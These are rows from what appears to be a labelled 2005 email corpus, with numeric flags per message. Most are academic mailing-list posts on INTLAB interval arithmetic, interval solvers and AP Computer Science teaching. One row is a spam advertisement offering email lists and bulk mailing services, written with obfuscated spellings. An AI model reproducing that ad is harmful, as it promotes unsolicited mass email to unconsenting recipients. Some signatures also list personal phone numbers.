-1.00000000000000, 10.25000000000000] However, rewriting the above in mathematically equivalent algorithm that uses ""for"" cycle ============================================== function y = a_bug a = [ infsup(0,1) infsup(2,3) ]; b = [ infsup(-2,0.5) infsup(1,3) ]; %y = a*b'; y = 0; for k = 1 : 2; y = y + a(k)*b(k); end ============================================== produces >> infsup(a_bug) intval = [ 0.00000000000000, 9.50000000000000] What is the reason of such a discrepancy? It seems to be well known: INTLAB uses a special ""fast"" midpoint-radius algorithm for interval matrix multiplication called in compact MATLAB form, and this algorithm is not ""sharp"". Well, then I do not understand why G. Hargreaves in his M.S. thesis ""Interval analysis in MATLAB"" as well as many others use such a compact form of the interval matrix product in their INTLAB codes, thus getting a substantial overestimation of their results? This is the case, in particular, for interval Gauss method and Krawczyk method whose codes are written out by Hargreaves in his thesis. Sergey P. Shary ",0,0 """Siegfried M. Rump"" ","""Sergey P. Shary"" , reliable_computing@interval.louisiana.edu","Mon, 21 Feb 2005 16:21:40 -0100",Re: INTLAB problems,"Sergey, you can change that: >> intvalinit('FastIVmult'), a=[infsup(0,1) infsup(2,3)]; >> b=[infsup(-2,0.5) infsup(1,3)]; a*b' ===> Fast interval matrix multiplication in use (maximum overestimation factor 1.5 in radius) intval ans = [ -1.00000000000000, 10.25000000000001] >> intvalinit('SharpIVmult'), a=[infsup(0,1) infsup(2,3)]; >> b=[infsup(-2,0.5) infsup(1,3)]; a*b' ===> Slow but sharp interval matrix multiplication in use intval ans = [ 0.00000000000000, 9.50000000000000] >> Best wishes Siegfried On Fri, 18 Feb 2005 14:10:24 +0600, Sergey P. Shary wrote: > > > > > Colleagues, > > > > > > I have a question on how INTLAB and numerous INTLAB codes operate > interval matrices. > > > > > Running a simple INTLAB function > > ========================================== > > function y = a_bug > > a = [ infsup(0,1) infsup(2,3) ]; > > b = [ infsup(-2,0.5) infsup(1,3) ]; > > > y = a*b'; > > > %y = 0; > > %for k = 1 : 2; > > % y = y + a(k)*b(k); > > %end > > > =========================================== > > > that computes a ""scalar product"" of two interval 2-vectors, > > I get the answer > > > >> infsup(a_bug) > > intval = > > [ -1.00000000000000, 10.25000000000000] > > > > > However, rewriting the above in mathematically equivalent algorithm > > that uses ""for"" cycle > > > ============================================== > > > function y = a_bug > > > a = [ infsup(0,1) infsup(2,3) ]; > > b = [ infsup(-2,0.5) infsup(1,3) ]; > > > %y = a*b'; > > > y = 0; > > for k = 1 : 2; > > y = y + a(k)*b(k); > > end > > > ============================================== > > > > produces > > > >> infsup(a_bug) > > intval = > > [ 0.00000000000000, 9.50000000000000] > > > > > > > What is the reason of such a discrepancy? > > It seems to be well known: INTLAB uses a special ""fast"" midpoint-radius > algorithm > > for interval matrix multiplication called in compact MATLAB form, and > this algorithm > > is not ""sharp"". > > > > Well, then I do not understand why G. Hargreaves in his M.S. thesis > ""Interval analysis in MATLAB"" > > as well as many others use such a compact form of the interval matrix > product in their INTLAB codes, > > thus getting a substantial overestimation of their results? > > > > This is the case, in particular, for interval Gauss method and Krawczyk > method > > whose codes are written out by Hargreaves in his thesis. > > > > > > Sergey P. Shary > > > > > > > -- ================================================= Prof. Dr. Siegfried M. Rump Arbeitsbereich Informatik III Technische Universität Hamburg-Harburg Schwarzenbergstr. 95 21071 Hamburg Germany phone +49 40 42878 3027 secr. +49 40 42878 3227 fax +49 40 42878 2489",0,0 """R. Baker Kearfott"" ",reliable_computing@interval.louisiana.edu,"Mon, 21 Feb 2005 12:42:04 -0600",reliable_computing: Message from the list maintainer,"Dear colleagues, We have been having some problems with the ""reliable_computing"" list server. In particular, sometimes but not always, items posted to the list were received by some, but not all, members of the list. In response, we have just replaced our ""bulk mailer"" with ""sendmail"" in the process of sending the messages out. I have ""approved"" five messages (from addresses the list server did not recognize as being members) twice: once about 6 hours ago and once less than an hour ago (from the time on this message). I did not receive them the first time, but I received them the most recent time. Hopefully, the problem is now fixed, but time will tell. Best regards, Baker --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Laura Cosovanu ,rbpa_extended@yahoogroups.com,"Mon, 21 Feb 2005 14:54:34 -0500","Romanian jazz in Cinequest Festival - vote, if you like it!","Hi guys, Here's an interesting example of an ""work-product"" of our Silicon Valley counterpart. These guys, core members of the Romanian Business Association/ Casa Romana in N. California, sponsored and directed a short movie on Johnny Raducanu & Romanian jazz. The movie, winner of several prizes both in the US and Romania, was recently selected from 3000 others, among the 100 finalists in the Cinequest Film Festival. So, have some fun while helping these guys. You can watch the movie online (it's only 18 minutes), vote and thus you help deciding the winner. If you seen it already, and would like just to vote, the entire process would take 1 minute of your time. The web is http://www.cinequestonline.org/2005/theater/detail_view.php?m=507. Only be aware that the entire voting thing ends tomorrow…… vizionare placuta! Laura ",0,1 Takeshi OGITA ,"""Sergey P. Shary"" ","Tue, 22 Feb 2005 10:54:13 +0900",Re: INTLAB problems,"You can see the option by >> help intvalinit and then find Default thick real interval times thick real interval: Best regards, Takeshi Ogita > > > >Colleagues, > > > > > >I have a question on how INTLAB and numerous INTLAB codes operate interval matrices. > > > > >Running a simple INTLAB function > > ========================================== > >function y = a_bug > >a = [ infsup(0,1) infsup(2,3) ]; > >b = [ infsup(-2,0.5) infsup(1,3) ]; > > > y = a*b'; > > > %y = 0; > > %for k = 1 : 2; > > % y = y + a(k)*b(k); > > %end > > >=========================================== > > >that computes a ""scalar product"" of two interval 2-vectors, > >I get the answer > > > >> infsup(a_bug) > > intval = > > [ -1.00000000000000, 10.25000000000000] > > > > >However, rewriting the above in mathematically equivalent algorithm > >that uses ""for"" cycle > > >============================================== > > >function y = a_bug > > >a = [ infsup(0,1) infsup(2,3) ]; > >b = [ infsup(-2,0.5) infsup(1,3) ]; > > > %y = a*b'; > > > y = 0; > > for k = 1 : 2; > > y = y + a(k)*b(k); > > end > > >============================================== > > > >produces > > > >> infsup(a_bug) > > intval = > > [ 0.00000000000000, 9.50000000000000] > > > > > > >What is the reason of such a discrepancy? > >It seems to be well known: INTLAB uses a special ""fast"" midpoint-radius algorithm > >for interval matrix multiplication called in compact MATLAB form, and this algorithm > >is not ""sharp"". > > > >Well, then I do not understand why G. Hargreaves in his M.S. thesis ""Interval analysis in MATLAB"" > >as well as many others use such a compact form of the interval matrix product in their INTLAB codes, > >thus getting a substantial overestimation of their results? > > > >This is the case, in particular, for interval Gauss method and Krawczyk method > >whose codes are written out by Hargreaves in his thesis. > > > > > >Sergey P. Shary > > > > > > > > ",0,0 Robert Glen Martin ,AP Computer Science ,"Sun, 20 Feb 2005 14:28:13 -0800",[ap-compsci] Re: Attracting women to CS,"I have a good number of successful girls in my computer science classes. In fact, 60% of my students who passed an APCS test last year were female. I attribute this to four things: 1) Girls are at least as capable in CS as boys. In fact, I find that as a group, they are better planners. 2) All students at my school are required to take pre-AP computer science. This eliminates many of the ""traditional"" barriers to girls taking their first CS class. 3) I do my best to make my classes ""friendly"" for all my students. This is not as easy as it sounds. I have been involved in a gender equity group for the past one and a half years. During that time I have learned a lot about the messages girls receive and my participation in those messages. Color me ""still learning"". 4) I spend a lot of time in my pre-AP class with Karel J Robot. My students really like Karel, especially the Girls. ===== -- Robert Glen Martin TAG Magnet High School --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Michael Lee ,AP Computer Science ,"Mon, 21 Feb 2005 04:22:55 -0800",[ap-compsci] Attracting anyone to CS,"There have been a lot of comments about the original post about women on the list. However, they have all swerved away from the original, my own included. Basically, we are dumbing down ALL curricula to fit a less qualified student. Almost, a brief quantifier, ALL of our schools in the USA, Higher Ed included, have down graded the rigor of their programs in favor of having more students (hence more money). Instead of having many qualified push broom operators, and a few qualified engineers, the USA has an overabundance of overqualified Latte Makers. Before the Professors out there get angry at some small town math teacher, think this over... A very good friend teaches at Carnegie Mellon U., one of the most prestigious CS schools around. He teaches Grad level security courses. He had a Student. The student did NOTHING, I saw the papers, and lack thereof. Since Daddy donated heavily, my friend was TOLD to pass the Student. He refused, thank God for tenure, and the Dept. passed the student. Has this scenario happened elsewhere? Also, think about NCLB. We don't teach math at my school, we teach how to pass the PSSA (PA's Standard test). Before you yell at the district and my colleagues, think about what is happening at your local schools and the above example. For any school to survive it needs money. Public schools now rely on test scores, so we strive to get good test scores (it ain't right, but ya gotta do what'cha gotta do). Universities rely on grants, so they try to make the givers happy. Our goal used to be providing trained people for the work force. Now it's to stay in business. What happened? Michael Lee Algebra Advocate and Calculator Crusher --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 David.Green@dpsnc.net,AP Computer Science ,"Sun, 20 Feb 2005 20:28:24 -0500",[ap-compsci] Re: Attracting women to CS,"Michael raises the infamous Static Electricity problem. My simple solutions are as follows: 1. Don't worry about it - OK, not a great solution but it works where I am. Even NC get cold and dry from December to February. 2. We have standard (25 year old tile) flooring on a concrete slab floor - one story building. 3. The heat in my room has been dead for three years. However, 20-30 kids + 20+ computers = plenty warm and no special drying. We leave the computers AND monitors on ALL the time in the winter. 4. The only real problem we have ever had occured back in the mid-80's when we were using dumb terminals hooked to a big mini-computer (how is that for and oxymoron!!) We had 32 terminals hooked to one of our 3 minicomputers and a girl sat down at one of the terminals and removed a very nice cashmere sweater. The rest is history. She tuched the keyboard and took out ALL 32 terminals and the compter. We got the computer back up in about 2 days with a rush shipment of internals from the manufacturer but it took almost a month to get all the terminals repaired. One lousy sweater!! To this day, I tell the kids that when it is dry ground themselves if they think they are generating static electricity. The concrete floor of course is a pretty good ground all by istelf. David Green Physics and Computer Science Teacher at Jordan HS (919) 560-3912 x12300 --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Chris Nevison ,AP Computer Science ,"Mon, 21 Feb 2005 07:09:17 -0500",[ap-compsci] Re: Attracting women to CS,"It is simply not true that most employers that hire CS grads from four year colleges are hiring them to be entry level programmers. They are hired for many type of jobs, some outside computer science. Most in computer science include more on the job training. But to characterize them as mostly entyr level programers is simply not true. The breadth of understanding that they get studying computer science as opposed to computer programming is important. Chris Michael Trigoboff wrote: > > At 08:14 AM 2/17/2005, you wrote: > >>I have had a number of CS majors (and CS professors) who were able to >>program (and program well), but whose first love in CS was not programming. >> >>Actually, there are two groups of Ph.D.s in computer science, theoreticians >>and systems researchers. >> >>In fact, many of my majors who do not go to graduate school do not end up >>as programmers. They are consultants or managers or use their CS knowledge >>in business or on Wall Street. > > > It seems to me that most people who get undergraduate CS degrees do so as > the first step towards a career as programmers. It seems to me that most > employers who hire graduating CS majors are hiring entry-level programmers. > > While you are right that at advanced graduate and doctoral levels there are > non-programming flavors of Computer Science, it seems to me that this > ""icing on the cake"" occurs later in the curriculum, after a solid grounding > in programming. Computer Science, after all, is important because > computers have become quite important in our society. And computers are > important because they actually run code and do things. > > >>This ignores a third group - automotive engineers, the people who design the >>cars. They may be good mechanics, also, but that is not a requirement for >>the job. And it certainly is not sufficient. > > > The point I was trying to make was that learning to do ""media manipulation"" > doesn't get you very far up the difficult learning curve of computer > programming. > > -- Chris Nevison Computer Science Colgate University Hamilton, NY 13346 (315) 228-7589 chris@cs.colgate.edu http://cs.colgate.edu/faculty/nevison.html --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 David.Green@dpsnc.net,AP Computer Science ,"Sun, 20 Feb 2005 20:50:29 -0500",[ap-compsci] Re: Attracting women to CS,"To all bantering back and forth about Computer Science: It is ABOUT TIME!!! I am a member of the AP Physics List Serve also and the topics and arguments there are far more frequent and verbose. It is great fun to read something other than CS detail problems, lab construction, and Java problems. Now, about computer science (lower case on purpose). Is it really even a science?? My gosh, the Natural Philosophers (physicists) took over 50 years just to build a definition of energy. ""Computer Science"" has barely been around 50 years. In fact, computer science as a departmental subject at most colleges probably dates from the 60's (I guess so don't chew me up if I miss it by a decade or so). Barb pushes for including every allied computer field under the umbrella of computer science. Can one imagine a physics department granting advanced degrees ""Physics Administration"" or virtually anything other than ""Hard Core"" physics research (or theoretical research - mostly using our beloved computers, these days). I am real uncomfortable trying to be all things to all people and still calling it ""Science"". Nothing wrong with what Barb is trying to do, we sure do need these folks, but in my book it isn't computer science. My really BIG problem is that I don't really have a clue what Computer Science is!! The real problem is the computer science isn't really like the other sciences where we are trying to understand the ""real world"". CS folks are sort of like mathematicians (sorry math haters) and musicians in that they are actually getting to invent there world out of essentially thin air. Y'all have phun chewing on me. This is sure more fun than discussing Java arcanity (is this a word?) David Green Physics and Computer Science Teacher at Jordan HS (919) 560-3912 x12300 --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Jean-Pierre Merlet ,reliable_computing@interval.louisiana.edu,"Tue, 22 Feb 2005 10:02:59 +0100","Re: Interval solver that includes complex roots (was Re: RE Does a more recent version of ""UniCalc"" exist?)","Wayne, We have a Maple interface to our interval analysis library ALIAS that may allow to deal with your problem (for your information we have already worked in the field of quantum mechanics, see Mladen Pavicic et al 2005 J. Phys. A: Math. Gen. 38 1577-159, issue of February 2005: this was an interesting work for us where we have to solve systems of between 40 and 200 equations and a huge number of them, last total was about 400 millions!). Alternatively we have close contact with people working in algebraic geometry with Groebner basis and they may have a solution too. So the best way is to send us a typical example and we will see what happen. Best Jean-Pierre ",0,0 Hadsell ,DMDX@psy1.psych.arizona.edu,"Tue, 22 Feb 2005 02:18:43 -0100",Get your clients,"Marketing Tools for you: - Provide emaiI-Iist according your order. - Sendout emaiIs according your order: We will supply your Iist and mailing your email message for you. * We also supply sendout solutions (Server). Let us know your need. Annonio Marketing Support Solutionz@taikang.com THANKS F0R bruceg@em.ca. TAKE.0FF: 969@Yahoo.com ",1,0 Jackie Holloway ,DMDX@psy1.psych.arizona.edu,"Tue, 22 Feb 2005 07:11:32 -0800",[DMDX] recording responses while mpeg is running,"Hi all, I am fairly new to the DMDX world and I am trying to run a program with a video clip for an experiment concerning event perception. I need to have the subjects making responses while the video is running. Is it possible to record their responses while the clip is running? Will the data come out in the .zil or .azk file? Thanks! -Jackie __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail ",0,1 Wayne Hayes ,reliable_computing@interval.louisiana.edu,"Mon, 21 Feb 2005 12:30:49 -0800",Re: Interval solver that includes complex roots,"On Mon, Feb 21, 2005 at 02:55:02PM -0500, Youdong Lin wrote: > We could let x_j = a_j + ib_j, where a_j and b_j are both real. > In this way, we still can use solvers for systems of > equations to find all REAL roots of the resulting 2n by 2n system, > instead of the original n by n system. Yes, this is true and is easy to do, assuming we have a solver than can solve a 2n by 2n system. Does such a solver currently exist? I know it can be done and I know how to do it, but it would be alot of work to actually code it up. Certainly this must have been done already? GrafEq would be perfect except it only works in two variables, whereas I need to solve systems of polynomial equations with an arbitrary number of equations and variables. UniCalc appears to have the language to define the problem nicely, but is not rigorous and returns answers which are only approximate, and will often claim to find multiple nearby roots where in fact only one actually exists. INTLAB looks like it might be up to the task, but I am not very famaliar to MATLAB and am reluctant to expend the effort to learn it unless I know there's a decent chance I can get it to work. GlobSol also looks promising. There are plenty of packages listed at http://www.cs.utep.edu/interval-comp/intsoft.html but I just want some hints as to were to start! :-) - Wayne ",0,1 Youdong Lin ,Wayne Hayes ,"Mon, 21 Feb 2005 14:55:02 -0500",Re: Interval solver that includes complex roots," We could let x_j = a_j + ib_j, where a_j and b_j are both real. In this way, we still can use solvers for systems of equations to find all REAL roots of the resulting 2n by 2n system, instead of the original n by n system. Youdong On Thu, 17 Feb 2005, Wayne Hayes wrote: > Let me re-phrase my question. I would like to know if there exists an > interval solver that includes finding complex roots. It would be > sufficient if the solver solved only systems of polynomial equations, > but they have to be of arbitrary degree. > > The application, surprisingly enough, is a branch of quantum mechanics > called Yang-Mills Theory, which is a branch of what's called ""string > theory"", related to QCD. I just saw a talk by a physicist yesterday. > > She has a problem that reduces to needing to know the number of roots > of a system of polynomial equations. She doesn't even need to know the > actual value of the roots, just how many there are. Furthermore, even > a lower bound on how many roots there are would be a good start; we > don't absolutely need to resolve close roots, for example, although > of course it would be nice. The equations are of the form > > \\lambda_i = C_i \\sum_{k=0}^d a_k (x_i)^k, i=1,...,n > 0 = \\sum_{i=1}^n C_i l_i (x_i)^k , k=0,...,d > > and we want to solve for the x_i's. She's tried Mathematica > and I think Maple, and I told her that I knew in principle > that an interval solver (similar to GrafEq) should be able to > solve this rigorously -- but of course it may turn out to > scale exponentially in d or n. However, we cannot ignore > complex roots, as they are crucial in computing quantum > mechanical wave functions. > > I would guess that it would, in principle, not be a major > step to take some existing solver and extend it to include > complex roots. The question is whether it's practical. > > - Wayne > > ",0,0 Jeff Tupper ,wayne@igor.ics.uci.edu,"Tue, 22 Feb 2005 11:26:31 +0100",Interval solver that includes complex roots,"Wayne, For semialgebraic problems (those given by a collection of polynomials and quantifiers) you can also try algebraic methods (based on, e.g., cylindrical algebraic decomposition [CAD]); example programs include qepcad and qepcad b. One of the strengths of interval methods is that they can be applied to non-semialgebraic problems. Jeff ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 22 Feb 2005 08:35:35 -0700",[DMDX] Re: recording responses while mpeg is running,"At 07:11 AM 2/22/2005 -0800, you wrote: >Hi all, >I am fairly new to the DMDX world and I am trying to >run a program with a video clip for an experiment >concerning event perception. I need to have the >subjects making responses while the video is running. >Is it possible to record their responses while the >clip is running? Will the data come out in the .zil >or .azk file? Yes. There's even a special keyword for turning the clock on at a given frame in the mpeg. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Comparing information and knowledge is like asking whether the fatness of a pig is more or less green than the designated hitter rule."" - David Guaspari ",0,0 """R. Baker Kearfott"" ","Wayne Hayes , reliable_computing@interval.louisiana.edu","Tue, 22 Feb 2005 09:09:40 -0600",Re: Interval solver that includes complex roots,"Wayne (et al), If you can send me a sample problem, I might be able to code it up for you for GlobSol as an example and to see how it works (provided coding it is not a major project). Best regards, Baker At 12:30 PM 2/21/2005 -0800, Wayne Hayes wrote: >On Mon, Feb 21, 2005 at 02:55:02PM -0500, Youdong Lin wrote: >> We could let x_j = a_j + ib_j, where a_j and b_j are both real. >> In this way, we still can use solvers for systems of >> equations to find all REAL roots of the resulting 2n by 2n system, >> instead of the original n by n system. > >Yes, this is true and is easy to do, assuming we have a solver than can >solve a 2n by 2n system. Does such a solver currently exist? I know >it can be done and I know how to do it, but it would be alot of work >to actually code it up. Certainly this must have been done already? > >GrafEq would be perfect except it only works in two variables, whereas >I need to solve systems of polynomial equations with an arbitrary >number of equations and variables. > >UniCalc appears to have the language to define the problem nicely, but >is not rigorous and returns answers which are only approximate, and >will often claim to find multiple nearby roots where in fact only one >actually exists. > >INTLAB looks like it might be up to the task, but I am not very >famaliar to MATLAB and am reluctant to expend the effort to learn it >unless I know there's a decent chance I can get it to work. > >GlobSol also looks promising. > >There are plenty of packages listed at > > http://www.cs.utep.edu/interval-comp/intsoft.html > >but I just want some hints as to were to start! :-) > > - Wayne > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu, nafips-l@mailbox.gsu.edu","Tue, 22 Feb 2005 08:48:41 -0700",ISIPTA'05 last CFP,"forwarding. ------------- Begin Forwarded Message ------------- From: ""ISIPTA '05"" Help circulating this announcement is appreciated; sorry for duplicates. Please note: ISIPTA'05: final deadline extension, increase in paper size (details in final call for papers below) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ISIPTA '05 4th International Symposium on Imprecise Probabilities and Their Applications Final Call for Papers July 20-23, 2005 Carnegie Mellon University Pittsburgh, Pennsylvania, USA http://www.sipta.org/isipta05 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The ISIPTA meetings are one of the primary international forums to present and discuss new results on the theory and applications of imprecise probabilities. Imprecise probability has a wide scope, being a generic term for the many mathematical or statistical models which measure chance or uncertainty without sharp numerical probabilities. These models include belief functions, Choquet capacities, comparative probability orderings, convex sets of probability measures, fuzzy measures, interval-valued probabilities, possibility measures, plausibility measures, and upper and lower expectations or previsions. Imprecise probability models are needed in inference problems where the relevant information is scarce, vague or conflicting, and in decision problems where preferences may also be incomplete. Themes of the symposium ----------------------- Although the symposium will be open to contributions on all aspects of imprecise probability, three main themes will be emphasised: decision-making, algorithms, and real applications. Topics of interest include, but are not limited to: models of coherent imprecise assessments convex sets of probability measures (credal sets) interval-valued probabilities upper and lower expectations or previsions non-additive set functions, and in particular Choquet capacities (and Choquet integration), fuzzy measures, possibility measures, belief and plausibility measures random sets rough sets comparative probability orderings qualitative reasoning about uncertainty imprecision in utilities and expected utilities limit laws for imprecise probabilities physical models of imprecise probability philosophical foundations for imprecise probabilities psychological models for imprecision and indeterminacy in probability assessments elicitation techniques for imprecise probabilities robust statistics probabilistic bounding analysis data mining with imprecise probabilities/missing data estimation and learning of imprecise probability models decision making with imprecise probabilities ambiguity aversion and economic models of imprecise probability uncertainty in financial markets algorithms for manipulating imprecise probabilities Dempster-Shafer theory information algebras and probabilistic argumentation systems probabilistic logic, propositional and first-order credal networks and other graphical models credal classification applications in statistics, economics, finance, management, engineering, computer science and artificial intelligence, psychology, philosophy and related fields Workshop on Financial Risk Assessment ------------------------------------- There will be a workshop addendum to the conference, to be held on July 24, with invited speakers on the topic of financial risk assessment, to which all of the ISIPTA'05 participants are welcome, at no additional registration cost. Details will be announced later. Location -------- ISIPTA '05 will be held at Carnegie Mellon University, in Pittsburgh, Pennsylvania, United States. Important dates --------------- (These dates reflect the last and final deadline extension!) Paper submission deadline: March 7 2005 (11:59PM US Eastern time) Notification of acceptance: April 25 2005 Deadline for revised papers: May 25 2005 Symposium: July 20-23 2005 Submissions and Proceedings --------------------------- (Note increase in paper size!!) We will accept papers only as PDF files with a limit of 10 pages in two-column format. Guidelines are available both in a PDF file and in a word file at the site http://www.sipta.org/isipta05/submit.html. The simplest way to produce an article that satisfies these requirements is to use Latex with the isipta2005.sty style, using guidelinesat the file isipta05.tex (or using this file as a template). Otherwise, use the file isipta2005.doc as template. Submission is electronic. You should introduce paper data and attach the PDF file by using the submission page. The Program Committee will decide which of the submitted papers are accepted, by carefully evaluating their originality, significance, technical soundness, and clarity of exposition. All the accepted papers will be included in a volume of proceedings, published by Brightdocs. There will be free electronic access to the proceedings after some time. Before the conference, the electronic access will be restricted to the ISIPTA '05 attendees to allow them to study the papers in some detail before they are actually presented. Each accepted paper will be given the opportunity for both a brief oral presentation as well as a poster session. Program Board ------------- Fabio Cozman (Universidade de Sao Paulo, Brazil) Robert Nau (Duke University, USA) Teddy Seidenfeld (Carnegie Mellon University, USA) Steering Committee ------------------ Gert de Cooman (Universiteit Gent, Belgium) Fabio G. Cozman (Universidade de São Paulo, Brazil) Serafin Moral (Universidad de Granada, Spain) Robert Nau (Duke University, USA) Teddy Seidenfeld (Carnegie Mellon University, USA) Marco Zaffalon (IDSIA-Istituto Dalle Molle di Studi sull'Intelligenza Artificiale, Switzerland) The members of the program committee are listed in the site www.sipta.org/isipta05.html. Questions --------- If you have any questions about the symposium, please contact the Organising Committee preferably by email (teddy@stat.cmu.edu - fgcozman@usp.br), or at the following address: Teddy Seidenfeld Department of Statistics Carnegie Mellon University Pittsburgh PA 15213 Phone: 412 - 268 - 2209 Fax: 412 - 268 - 1440 ------------- End Forwarded Message -------------",0,1 Skidmore Spam Firewall ,irc-list-web@skidmore.edu,"Tue, 22 Feb 2005 15:40:44 -0500",Spam Quarantine Summary,"Dear irc-list-web@skidmore.edu, this is your quarantine summary from the Skidmore Spam Firewall. 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Sorry for the confusion about which Wednesday we were referencing. There will be future meetings if you can't make it tonight. See you tonight, -- Matt >CPW Meeting >Wednesday, 6:30pm >4-237 > > >To those who participated in last year's CPW festival (please >forward this message if you are no longer your group's contact): > >Thanks for helping with the inaugural CPW Festival, one of the most >successful CPW events ever. Now, we begin preparations for CPW >2005. > >On Wednesday at 6:30pm in 4-237, we'll begin talking about this >year's CPW, with a special focus on the CPW Festival. We'll also >provide an overview of the CPW schedule and talk about this year's >other events. > >Please let me know if no one from your group can make it. Please >feel free to invite folks from other groups who may be interested. > >Many thanks, >-- Matt >MIT Admissions > >-- > >Matthew L. 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In the past it has primarily been a successful fashion/culture show however this year we would like to make it BIGGER and BETTER! We would like to remove fashion as the main focus and make it a cultural mix of performing arts whether that be dancing, singing, spoken word, comedy, skits..the list goes on! For one night we would like to see as many cultural groups as possible come together and just have fun; while showing off your cultures to the whole university as well as prospective student's of color (also prospective members of your clubs!:)) So, what I am trying to say is that this will be BIG, and it will take place in the Barnard Quad, an intimate unique setting. Following the show, we are looking to have cultural appetizer-like food served, and then possibly an after party!;) So, if this seems of interest to you, please RSVP by replying to this email. In the email please include the way in which you would like to be involved either: 1) Perform in the show 2) Provide cultural food 3) Monetary Support if possible 4) Publicity Support if possible 5) ANY combination of the above One last and VERY IMPORTANT thing, in order to put a face to this e-mail and for us to get a better sense of what you would like to perform at the show, we will be holding a meeting on Wednesday March 2nd 2005 form 7:30-9:30pm in Lerner, we will email you on Monday with the exact location. Please prepare a 1-2 minute presentation of what you envision your group will do for the show. If you CANNOT make the meeting AT ALL during those two hours please let us know and we will arrange a separate meeting time. Looking forward to meeting all of you! Get Excited!! Sincerely, The One World Committee ",0,0 """Siegfried M. Rump"" ","""Sergey P. Shary"" , reliable_computing@interval.louisiana.edu","Thu, 24 Feb 2005 13:06:27 -0100",Re: INTLAB problems,"Dear Sergey, it's in the Readme file. Since you are not the first with this question, I also put it into the next FAQ file. Best wishes Siegfried On Thu, 24 Feb 2005 13:09:45 +0600, Sergey P. Shary wrote: > > > > Many thanks to all those who responded to my question on INTLAB features: > to Prof. Sigfried Rump, Mr. I.A. Ashokaraj and Dr. Takeshi Ogita. You > really > helped me with your advices. > > > The only remaining question (maybe, suggestion) is: > why isn't that > thoroughly documented? > > > > Sergey P. Shary > > > > > > > ----- Original Message ----- > From: ""Siegfried M. Rump"" > To: ""Sergey P. Shary"" ; > > Cc: ""Б.С. Джаныбеков"" > Sent: Monday, February 21, 2005 11:21 PM > Subject: Re: INTLAB problems > > >> Sergey, >> >> you can change that: >> >> >> intvalinit('FastIVmult'), a=[infsup(0,1) infsup(2,3)]; >> >> b=[infsup(-2,0.5) infsup(1,3)]; a*b' >> ===> Fast interval matrix multiplication in use (maximum overestimation >> factor 1.5 in radius) >> intval ans = >> [ -1.00000000000000, 10.25000000000001] >> >> >> intvalinit('SharpIVmult'), a=[infsup(0,1) infsup(2,3)]; >> >> b=[infsup(-2,0.5) infsup(1,3)]; a*b' >> ===> Slow but sharp interval matrix multiplication in use >> intval ans = >> [ 0.00000000000000, 9.50000000000000] >> >> >> >> Best wishes >> >> Siegfried >> >> >> > -- ================================================= Prof. Dr. Siegfried M. Rump Arbeitsbereich Informatik III Technische Universität Hamburg-Harburg Schwarzenbergstr. 95 21071 Hamburg Germany phone +49 40 42878 3027 secr. +49 40 42878 3227 fax +49 40 42878 2489 currently at: Faculty of Science and Engineering 